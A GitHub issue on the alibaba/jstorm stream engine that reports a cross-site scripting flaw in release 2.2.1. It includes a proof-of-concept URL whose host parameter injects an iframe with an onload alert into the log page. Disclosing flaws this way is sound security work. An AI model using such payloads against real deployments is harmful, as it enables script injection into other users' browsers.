alibaba / jstorm

Enterprise Stream Process Engine
http://jstorm.io
Apache License 2.0
3.92k stars 1.8k forks source link

一处XSS问题 #658

Open 40huo opened 5 years ago

40huo commented 5 years ago

release 2.2.1版本

http://127.0.0.1:8080/log?cluster=test&host=;document.write(%27%3Ciframe/onload=alert(112233)%3E%27)&port=8621&file=nimbus.log